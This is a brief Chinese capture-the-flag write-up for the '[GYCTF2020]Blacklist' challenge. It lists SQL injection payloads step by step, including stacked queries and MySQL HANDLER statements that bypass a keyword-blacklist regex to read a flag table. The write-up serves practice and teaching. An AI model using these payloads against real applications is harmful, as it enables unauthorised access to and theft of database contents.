[GYCTF2020]Blacklist
判斷體型
這題和之前的隨便注長得一模一樣,不出意外就是SQL注入了。
標題有個hint,blacklist,之後肯定得繞過黑名單。
猜解SQL語句
1 => 正常回顯
1' => 正常回顯
1' or 1# => 正常回顯
1' and 0# => 不回顯
猜測查詢語句爲select * from Table where inject = '$inject';
猜解字段數
1' order by 1# => 正常回顯
1' order by 2# => 正常回顯
1' order by 3# => 報錯
所以知道字段數爲2
聯合查詢
1' union select 1,2#
=> 報錯 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);
這就是題目hint說的blacklist,有select不能直接聯合查詢,有set和prepare就不能預編譯了,有alter和rename,連堆注入都不行嗎?
看下大佬WP
堆注入
這題還是堆注入,不過不是像隨便注一樣重命名,而是通過handler
讀取表。
先看下有哪些表。
1';show tables#
有一個FlagHere
的表,應該就是它了。
用hanlder
讀它
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
得到flag。